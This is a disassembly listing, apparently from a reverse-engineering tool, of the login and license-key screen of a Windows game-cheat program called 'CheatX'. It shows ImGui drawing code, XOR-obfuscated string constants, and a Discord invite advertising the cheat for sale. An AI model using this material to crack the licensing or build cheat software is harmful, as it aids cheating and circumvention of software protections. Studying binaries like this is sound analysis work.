lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x140237050]
movzx eax, byte [0x140237066]
lea r13, [rcx + 0x37d0]
mov qword [r13 + 8], 0
mov r14d, 1
mov dword [r13 + 0x14], r12d
mov dword [r13 + 0x4c], 0x41a00000
mov dword [r13 + 0x50], 0x41a00000
mov dword [r13 + 0x74], 0x41000000
test al, al
jne 0x1400527bb
movss xmm1, dword [0x140235df8]
xor edx, edx
movss xmm0, dword [0x140235dfc]
mov r8d, 0x202b
addss xmm1, dword [0x1402370a0]
mov qword [rcx + 0x47e0], 0
addss xmm0, xmm10
mov qword [rcx + 0x47e8], 0
mov dword [rcx + 0x47d4], r14d
or dword [rcx + 0x47d0], 3
movss dword [rcx + 0x47f0], xmm1
movss dword [rcx + 0x47f4], xmm0
mov dword [rcx + 0x47d8], r14d
lea rcx, [0x1401600e4]
call fcn.14000f7b0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x14026ce0c]
xorps xmm1, xmm1
mov eax, eax
addss xmm0, xmm8
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x14005141b
movzx ecx, byte [reloc.WS2_32.dll_accept]
movss xmm1, dword [0x14026ce08]
test cl, cl
je 0x1400513a3
comiss xmm14, xmm1
jbe 0x140051394
cmp qword [0x140237050], 0
jne 0x140051370
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movss xmm1, dword [0x14026ce08]
mov rax, qword [0x140237050]
movaps xmm0, xmm15
divss xmm0, dword [rax + 0xe0]
mulss xmm0, xmm13
addss xmm1, xmm0
movss dword [0x14026ce08], xmm1
comiss xmm1, xmm14
jb 0x140051411
mov byte [reloc.WS2_32.dll_accept], 0
jmp 0x140051411
comiss xmm1, xmm10
jbe 0x140051400
cmp qword [0x140237050], 0
jne 0x1400513dc
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movzx ecx, byte [reloc.WS2_32.dll_accept]
movss xmm1, dword [0x14026ce08]
mov rax, qword [0x140237050]
movaps xmm0, xmm15
divss xmm0, dword [rax + 0xe0]
mulss xmm0, xmm13
subss xmm1, xmm0
movss dword [0x14026ce08], xmm1
comiss xmm10, xmm1
movzx eax, cl
cmovae eax, r14d
mov byte [reloc.WS2_32.dll_accept], al
mov dword [0x14026ce0c], 0
mov rax, qword [0x140237050]
mov rcx, qword [rax + 0x3ef8]
movsd xmm0, qword [rcx + 0x20]
movsd qword [rbp - 0x20], xmm0
movsd qword [rbp + 0x60], xmm0
call fcn.14004e4a0
mov rbx, qword [0x140237050]
movss xmm8, dword [0x140235df8]
movss xmm7, dword [0x140235dfc]
cmp dword [rbx + 0x48c8], 0
jg 0x140051478
mov r8d, 0x70e
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48d0]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140008470
movss xmm1, dword [0x14026d634]
mov rbx, rax
movss xmm0, dword [0x14026d630]
mov rcx, qword [0x140237050]
movss dword [rbp + 0x214], xmm1
movss xmm1, dword [0x14026d63c]
movss dword [rbp + 0x210], xmm0
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x210]
movss xmm0, dword [0x14026d638]
movss dword [rbp + 0x218], xmm0
movss dword [rbp + 0x21c], xmm1
call fcn.1400048f0
movss xmm2, dword [0x1402370a0]
lea r8, [rbp + 0x180]
movss xmm6, dword [rbp - 0x1c]
lea rdx, [rbp - 0x20]
movaps xmm1, xmm6
mov dword [rsp + 0x28], r12d
addss xmm1, xmm7
mov r9d, eax
movss xmm7, dword [rbp - 0x20]
mov rcx, rbx
movaps xmm0, xmm7
addss xmm0, xmm8
addss xmm1, xmm10
addss xmm2, xmm0
movss xmm0, dword [0x140160f34]
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x184], xmm1
movss dword [rbp + 0x180], xmm2
call fcn.140025830
mov rbx, qword [0x140237050]
movss xmm8, dword [0x140235df8]
movss xmm9, dword [0x140235dfc]
cmp dword [rbx + 0x48c8], 0
jg 0x14005158d
mov r8d, 0x70e
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48d0]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140008470
movss xmm1, dword [0x14026d5a4]
mov rbx, rax
movss xmm0, dword [0x14026d5a0]
mov rcx, qword [0x140237050]
movss dword [rbp + 0x224], xmm1
movss xmm1, dword [0x14026d5ac]
movss dword [rbp + 0x220], xmm0
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x220]
movss xmm0, dword [0x14026d5a8]
movss dword [rbp + 0x228], xmm0
movss dword [rbp + 0x22c], xmm1
call fcn.1400048f0
movss xmm0, dword [0x1402370a0]
addss xmm7, xmm8
movss dword [rsp + 0x30], xmm12
addss xmm6, xmm9
mov dword [rsp + 0x28], r12d
lea r8, [rbp + 0x188]
mov r9d, eax
lea rdx, [rbp - 0x20]
mov rcx, rbx
addss xmm0, xmm7
addss xmm6, xmm10
movss dword [rbp + 0x188], xmm0
movss xmm0, dword [0x140160f34]
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x18c], xmm6
call fcn.140025730
mov rbx, qword [0x140237050]
cmp dword [rbx + 0x48c8], 0
jg 0x140051688
mov r8d, 0x70e
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48d0]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140008470
movss xmm1, dword [0x14026d6f4]
mov rbx, rax
movss xmm0, dword [0x14026d6f0]
mov rcx, qword [0x140237050]
movss dword [rbp + 0x234], xmm1
movss xmm1, dword [0x14026d6fc]
movss dword [rbp + 0x230], xmm0
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x230]
movss xmm0, dword [0x14026d6f8]
movss dword [rbp + 0x238], xmm0
movss dword [rbp + 0x23c], xmm1
call fcn.1400048f0
movss xmm2, dword [rbp + 0x60]
lea r8, [rbp + 0x68]
movss xmm3, dword [rbp + 0x64]
lea rdx, [rbp + 0x70]
movaps xmm0, xmm2
movaps xmm1, xmm3
addss xmm0, dword [0x140160ff0]
addss xmm1, dword [0x14016100c]
addss xmm3, xmm10
mov r9d, eax
addss xmm2, xmm10
mov rcx, rbx
movss dword [rbp + 0x68], xmm0
movss xmm0, dword [0x140160eb0]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x140160f34]
mov dword [rsp + 0x28], 0xf0
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x6c], xmm1
movss dword [rbp + 0x70], xmm2
movss dword [rbp + 0x74], xmm3
call fcn.140025730
mov rcx, qword [0x140237050]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], r14b
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], r14b
addss xmm1, dword [0x140160fdc]
addss xmm0, dword [0x140160f84]
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
call fcn.140017060
mov rcx, qword [rbp + 0x110]
call fcn.140012e20
movss xmm7, dword [0x140161028]
lea rcx, [rbp + 0x240]
movabs rdi, 0xc55c1778462aff2b
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x60], rdi
movabs rsi, 0x17842e69ea80122c
mov rax, qword [rsp + 0x60]
movaps xmm3, xmm7
mov qword [rbp + 0x240], rax
mov qword [rsp + 0x60], rsi
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x248], rax
mov qword [rsp + 0x60], rdi
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x3d0], rax
mov qword [rsp + 0x60], rsi
mov rax, qword [rsp + 0x60]
movdqa xmm0, xmmword [rbp + 0x240]
mov qword [rbp + 0x3d8], rax
mov rax, qword [0x140237050]
pxor xmm0, xmmword [rbp + 0x3d0]
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm11
movss xmm2, dword [rax + 0x3c20]
movdqa xmmword [rbp + 0x240], xmm0
mov rcx, qword [rax + 0x3c18]
lea rdx, [rbp + 0x78]
call fcn.14002d080
movss xmm0, dword [rbp + 0x78]
lea rcx, [rbp + 0x250]
movss xmm8, dword [0x140160e8c]
movss xmm6, dword [0x14026ce08]
addss xmm0, xmm8
movss dword [rbp + 0x25c], xmm6
mov dword [rbp + 0x84], 0x42000000
mov dword [rbp + 0x250], 0x437f0000
mov dword [rbp + 0x254], 0x437f0000
cvttss2si eax, xmm0
mov dword [rbp + 0x258], 0x437f0000
movss xmm0, dword [0x140160ef0]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x78], xmm1
mulss xmm1, dword [0x140160e4c]
subss xmm0, xmm1
movss dword [rbp + 0x80], xmm0
call fcn.1400048f0
lea rcx, [rbp + 0x260]
movss dword [rbp + 0x26c], xmm6
mov ebx, eax
mov dword [rbp + 0x260], 0x437f0000
mov dword [rbp + 0x264], 0x437f0000
mov dword [rbp + 0x268], 0x437f0000
call fcn.1400048f0
movss xmm3, dword [0x140160f98]
mov edx, eax
movabs rax, 0x957c4f2c076fb768
mov r8d, ebx
mov qword [rsp + 0x60], rax
movabs rax, 0x17842e69a6c55c6d
mov rcx, qword [rsp + 0x60]
mov qword [rbp + 0x270], rcx
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
mov qword [rbp + 0x278], rcx
mov qword [rsp + 0x60], rdi
mov rcx, qword [rsp + 0x60]
mov qword [rbp + 0x3a0], rcx
lea rcx, [rbp + 0x270]
mov qword [rsp + 0x60], rsi
mov rax, qword [rsp + 0x60]
movdqa xmm0, xmmword [rbp + 0x270]
mov qword [rbp + 0x3a8], rax
lea rax, [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x270], xmm0
mov qword [rsp + 0x20], rax
call fcn.140036f50
call fcn.140012ec0
mov rdi, qword [rbp + 0x2f0]
mov rcx, rdi
call fcn.140012e20
mov rax, qword [0x140237050]
lea rsi, [0x14014fc4a]
mov qword [rsp + 0x30], r12
lea rdx, [rbp + 0x88]
mov qword [rsp + 0x28], rsi
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm11
movss xmm2, dword [rax + 0x3c20]
mov rcx, qword [rax + 0x3c18]
call fcn.14002d080
movss xmm0, dword [rbp + 0x88]
movss xmm6, dword [0x140160e60]
addss xmm0, xmm8
mov dword [rbp + 0x94], 0x43020000
cvttss2si eax, xmm0
movss xmm0, dword [0x140160fac]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x88], xmm1
mulss xmm1, xmm6
subss xmm0, xmm1
subss xmm0, xmm10
movss dword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x1401614b0]
lea rcx, [rbp + 0x700]
movups xmmword [rbp + 0x700], xmm0
call fcn.1400048f0
movaps xmm0, xmmword [0x1401614b0]
lea rcx, [rbp + 0x710]
movups xmmword [rbp + 0x710], xmm0
mov ebx, eax
call fcn.1400048f0
movss xmm3, dword [0x140160f88]
lea rcx, [rbp + 0x90]
mov qword [rsp + 0x20], rcx
mov r8d, ebx
lea rcx, str.LOGIN_PAGE
mov edx, eax
call fcn.140036f50
call fcn.140012ec0
mov rcx, rdi
call fcn.140012e20
mov rax, qword [0x140237050]
lea rdx, [rbp + 0x98]
mov qword [rsp + 0x30], r12
movaps xmm3, xmm7
mov qword [rsp + 0x28], rsi
movss dword [rsp + 0x20], xmm11
movss xmm2, dword [rax + 0x3c20]
mov rcx, qword [rax + 0x3c18]
call fcn.14002d080
movss xmm0, dword [rbp + 0x98]
lea rcx, [rbp + 0x720]
movss xmm9, dword [0x140160f68]
addss xmm0, xmm8
mov dword [rbp + 0xa4], 0x43480000
cvttss2si eax, xmm0
movaps xmm0, xmm9
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x98], xmm1
mulss xmm1, xmm6
subss xmm0, xmm1
subss xmm0, xmm10
movss dword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x1401614b0]
movups xmmword [rbp + 0x720], xmm0
call fcn.1400048f0
movaps xmm0, xmmword [0x1401614b0]
lea rcx, [rbp + 0x730]
movups xmmword [rbp + 0x730], xmm0
mov ebx, eax
call fcn.1400048f0
lea rcx, [rbp + 0xa0]
movaps xmm3, xmm13
mov qword [rsp + 0x20], rcx
mov r8d, ebx
lea rcx, str.Username
mov edx, eax
call fcn.140036f50
call fcn.140012ec0
mov rcx, rdi
call fcn.140012e20
mov rax, qword [0x140237050]
lea rdx, [rbp + 0xa8]
mov qword [rsp + 0x30], r12
movaps xmm3, xmm7
mov qword [rsp + 0x28], rsi
movss dword [rsp + 0x20], xmm11
movss xmm2, dword [rax + 0x3c20]
mov rcx, qword [rax + 0x3c18]
call fcn.14002d080
movss xmm0, dword [rbp + 0xa8]
addss xmm0, xmm8
mov dword [rbp + 0xb4], 0x43820000
cvttss2si eax, xmm0
movaps xmm0, xmm9
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0xa8], xmm1
mulss xmm1, xmm6
subss xmm0, xmm1
subss xmm0, xmm10
movss dword [rbp + 0xb0], xmm0
movaps xmm0, xmmword [0x1401614b0]
lea rcx, [rbp + 0x600]
movups xmmword [rbp + 0x600], xmm0
call fcn.1400048f0
movaps xmm0, xmmword [0x1401614b0]
lea rcx, [rbp + 0x610]
movups xmmword [rbp + 0x610], xmm0
mov ebx, eax
call fcn.1400048f0
lea rcx, [rbp + 0xb0]
movaps xmm3, xmm13
mov qword [rsp + 0x20], rcx
mov r8d, ebx
lea rcx, str.Password
mov edx, eax
call fcn.140036f50
call fcn.140012ec0
mov rcx, rdi
call fcn.140012e20
mov rax, qword [0x140237050]
lea rdx, [rbp + 0xb8]
mov qword [rsp + 0x30], r12
movaps xmm3, xmm7
mov qword [rsp + 0x28], rsi
movss dword [rsp + 0x20], xmm11
movss xmm2, dword [rax + 0x3c20]
mov rcx, qword [rax + 0x3c18]
call fcn.14002d080
movss xmm0, dword [rbp + 0xb8]
lea rcx, [rbp + 0x620]
addss xmm0, xmm8
mov dword [rbp + 0xc4], 0x43a00000
cvttss2si eax, xmm0
movaps xmm0, xmm9
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0xb8], xmm1
mulss xmm1, xmm6
subss xmm0, xmm1
subss xmm0, xmm10
movss dword [rbp + 0xc0], xmm0
movaps xmm0, xmmword [0x1401614b0]
movups xmmword [rbp + 0x620], xmm0
call fcn.1400048f0
movaps xmm0, xmmword [0x1401614b0]
lea rcx, [rbp + 0x630]
movups xmmword [rbp + 0x630], xmm0
mov ebx, eax
call fcn.1400048f0
lea rcx, [rbp + 0xc0]
movaps xmm3, xmm13
mov qword [rsp + 0x20], rcx
mov r8d, ebx
lea rcx, str.License_Key
mov edx, eax
call fcn.140036f50
call fcn.140012ec0
mov rcx, qword [0x140237050]
lea rdi, [0x140235e11]
movss xmm6, dword [0x140160f60]
lea rdx, str.Username
mov qword [rsp + 0x38], r12
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x30], r12
mov r8, rdi
mov rax, qword [rcx + 0x3ef8]
mov dword [rsp + 0x28], r12d
mov dword [rbp + 0xc8], 0x438c0000
mov dword [rbp + 0xcc], 0x420c0000
mov byte [rax + 0xb8], r14b
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], r14b
addss xmm1, dword [0x140160fd4]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x20], rax
lea rcx, [0x140160124]
call fcn.14003ab90
mov rcx, qword [0x140237050]
lea rbx, [0x140235f10]
mov qword [rsp + 0x38], r12
lea rdx, str.Password
mov qword [rsp + 0x30], r12
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x28], 0x8000
mov r8, rbx
mov rax, qword [rcx + 0x3ef8]
mov dword [rbp + 0xd0], 0x438c0000
mov dword [rbp + 0xd4], 0x420c0000
mov byte [rax + 0xb8], r14b
mov rax, qword [rcx + 0x3ef8]
lea rcx, [0x140160128]
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], r14b
addss xmm1, dword [0x140160fe4]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
call fcn.14003ab90
mov rcx, qword [0x140237050]
lea rsi, [0x14023600f]
mov qword [rsp + 0x38], r12
lea rdx, [0x14016012c]
mov qword [rsp + 0x30], r12
mov r9d, 0x640
mov dword [rsp + 0x28], r12d
mov r8, rsi
mov rax, qword [rcx + 0x3ef8]
mov dword [rbp + 0xd8], 0x438c0000
mov dword [rbp + 0xdc], 0x420c0000
mov byte [rax + 0xb8], r14b
mov rax, qword [rcx + 0x3ef8]
lea rcx, [0x140160130]
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], r14b
addss xmm1, dword [0x140160fec]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x20], rax
call fcn.14003ab90
mov rcx, qword [0x140237050]
lea rdx, [rbp + 0xe0]
mov dword [rbp + 0xe0], 0x430c0000
mov dword [rbp + 0xe4], 0x42200000
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], r14b
mov rax, qword [rcx + 0x3ef8]
lea rcx, str.Login
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], r14b
addss xmm1, dword [0x140160ff4]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
call fcn.140034840
test al, al
je 0x14005264c
mov qword [rbp + 0x4f0], r12
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x500], r12
mov qword [rbp + 0x508], reloc.WS2_32.dll_ntohs
inc r8
cmp byte [rbx + r8], 0
jne 0x140052033
mov rdx, rbx
lea rcx, [rbp + 0x4f0]
call fcn.1400421f0
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x530], r12
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], reloc.WS2_32.dll_ntohs
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140052070
mov rdx, rdi
lea rcx, [rbp + 0x530]
call fcn.1400421f0
lea r8, [rbp + 0x4f0]
lea rdx, [rbp + 0x530]
lea rcx, [0x140258370]
call fcn.1400cb0b0
cmp byte [0x140258588], 0
je 0x14005264c
mov edx, 0x20001
lea rcx, str.C:WindowsTemp_b010mm.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
xorps xmm0, xmm0
mov byte [0x140237066], r14b
xorps xmm1, xmm1
lea rdx, [rbp + 0x920]
xor eax, eax
movups xmmword [rbp + 0x878], xmm0
mov qword [rbp + 0x8c8], rax
movups xmmword [rbp + 0x8a8], xmm1
movups xmmword [rbp + 0x8b8], xmm1
movups xmmword [rbp + 0x920], xmm0
movups xmmword [rbp + 0x930], xmm0
movups xmmword [rbp + 0x940], xmm0
call fcn.140047950
mov r15, qword [0x1402584c0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 7
jb 0x140054044
cmp qword [0x1402584c8], 0x10
lea rsi, [r15 + 7]
lea r12, [0x1402584b0]
mov qword [rbp + 0x6d0], rsi
cmovae r12, qword [0x1402584b0]
lea rdi, [rbp + 0x40]
xor eax, eax
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
cmp rsi, rbx
jbe 0x1400521fc
cmp rsi, 0x10
mov rbx, rsi
cmovb rbx, qword [reloc.WS2_32.dll_recv]
or rbx, 0xf
mov qword [rbp + 0x6f8], rbx
cmp rbx, rcx
jbe 0x14005219f
mov rbx, rcx
movabs rax, 0x8000000000000027
jmp 0x1400521cc
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmp rbx, rcx
mov qword [rbp + 0x6f0], rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400521eb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005404a
mov rcx, rax
call fcn.14011faac
test rax, rax
je 0x140053f2d
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400521f8
test rcx, rcx
je 0x1400521f5
call fcn.14011faac
mov rdi, rax
mov qword [rbp + 0x40], rdi
mov eax, dword [str.User_:]
lea rcx, [rdi + 7]
mov qword [rbp + 0x50], rsi
mov r8, r15
mov qword [rbp + 0x58], rbx
mov rdx, r12
mov dword [rdi], eax
movzx eax, word [0x14016015c]
mov word [rdi + 4], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 6], al
call sub.VCRUNTIME140.dll_memcpy
xor r12d, r12d
mov byte [rsi + rdi], 0
cmp qword [0x140258580], 0x10
lea rsi, [0x140258568]
mov rdi, qword [0x140258578]
cmovae rsi, qword [0x140258568]
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
cmp rdi, 0x10
jae 0x140052278
movups xmm0, xmmword [rsi]
lea ebx, [r12 + 0xf]
movups xmmword [rbp + 0x20], xmm0
jmp 0x1400522fc
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
mov qword [rbp + 0x6c8], rax
cmp rbx, rax
mov qword [rbp + 0x6c0], rbx
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400522da
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140054050
mov rcx, rax
call fcn.14011faac
mov rcx, rax
test rax, rax
je 0x140053f26
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400522e9
test rcx, rcx
je 0x1400522e6
call fcn.14011faac
jmp 0x1400522e9
mov rax, r12
lea r8, [rdi + 1]
mov qword [rbp + 0x20], rax
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
cmp rbx, 0x10
mov qword [rbp + 0x38], rbx
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x30], rdi
cmovae rcx, qword [rbp + 0x20]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbp + 0x38]
movsxd rbx, eax
cmp rdx, 0x10
jb 0x14005235b
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052356
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140053f26
call fcn.14011fe08
lea rdx, [rbp + 0x2f8]
mov qword [rbp + 0x30], r12
lea rcx, [rbp + 0x810]
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], r12b
mov qword [rbp + 0x2f8], rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x810]
mov eax, dword [rbp + 0x830]
lea r9, [rbp + 0x7e0]
movups xmm1, xmmword [rbp + 0x820]
lea r8, str._d__m__y
mov edx, 0x50
lea rcx, [rbp + 0x9d0]
movaps xmmword [rbp + 0x7e0], xmm0
movaps xmmword [rbp + 0x7f0], xmm1
mov dword [rbp + 0x800], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rax, [rbp + 0x9d0]
mov qword [rbp + 0x1f0], r12
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], reloc.WS2_32.dll_ntohs
inc r8
cmp byte [rax + r8], r12b
jne 0x1400523f5
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0x1f0]
call fcn.1400421f0
lea r8, [rbp + 0x1f0]
lea rcx, [rbp + 0x2d0]
call fcn.140042410
mov rdx, qword [rbp + 0x208]
cmp rdx, 0x10
jb 0x140052465
mov rcx, qword [rbp + 0x1f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052460
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140053f26
call fcn.14011fe08
cmp qword [rbp + 0x58], 0x10
lea rcx, str.____Discord
mov qword [rbp + 0x898], rcx
lea rax, [rbp + 0x40]
cmovae rax, qword [rbp + 0x40]
lea rcx, [0x140238130]
cmp qword [rbp + 0x2e8], 0x10
mov qword [rbp + 0x848], rax
lea rax, [rbp + 0x2d0]
cmovae rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x840], rax
mov rax, qword [0x1402582d8]
mov qword [rbp + 0x850], rax
lea rax, str.https:__i.postimg.cc_KjBhdd8y_JR.jpg
mov qword [rbp + 0x860], rax
lea rax, str.https:__media4.giphy.com_media_xmOMPI63SsyZyKz2Tx_giphy.gif_cid790b7611485d6e9b471bcd8f93609e96f8a02c35a7e05685ridgiphy.gifcts
mov qword [rbp + 0x870], rax
lea rax, str.CHEATX_PANEL
mov qword [rbp + 0x868], rax
lea rax, str.Buying_Here__3
mov qword [rbp + 0x888], rax
lea rax, str.https:__discord.gg_S5cCqymnVA
mov qword [rbp + 0x890], rax
mov qword [rbp + 0x8a0], rax
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1f0], r12b
mov qword [rbp + 0x858], r12
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x140053f34
mov r8d, dword [reloc.WS2_32.dll_accept]
lea rcx, [0x140258a88]
lea eax, [r8 + 1]
mov dword [reloc.WS2_32.dll_accept], eax
lea rax, [rbp + 0x840]
mov qword [rsp + 0x20], rax
call fcn.14004be40
mov qword [0x140258a80], rax
lea rcx, [0x140238130]
mov eax, r14d
xchg byte [0x140258949], al
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rcx, qword [0x140258940]
test rcx, rcx
je 0x140052592
add rcx, 0x58
call qword [sym.imp.MSVCP140.dll__Cnd_broadcast]
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x1400525d3
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400525ce
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140053f2d
call fcn.14011fe08
mov rdx, qword [rbp + 0x58]
mov qword [rbp + 0x2e0], r12
mov qword [rbp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2d0], r12b
cmp rdx, 0x10
jb 0x140052627
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052622
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140053f2d
call fcn.14011fe08
mov qword [rbp + 0x50], r12
lea rbx, [0x140235f10]
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
lea rdi, [0x140235e11]
mov byte [rbp + 0x40], r12b
lea rsi, [0x14023600f]
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016ce0
lea rdx, [rbp + 0xe8]
mov dword [rbp + 0xe8], 0x430c0000
lea rcx, str.Register
mov dword [rbp + 0xec], 0x42200000
call fcn.140034840
test al, al
je 0x14005278c
mov qword [rbp + 0x510], r12
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], reloc.WS2_32.dll_ntohs
nop dword [rax + rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x1400526b0
mov rdx, rsi
lea rcx, [rbp + 0x510]
call fcn.1400421f0
mov r8, 0xffffffffffffffff
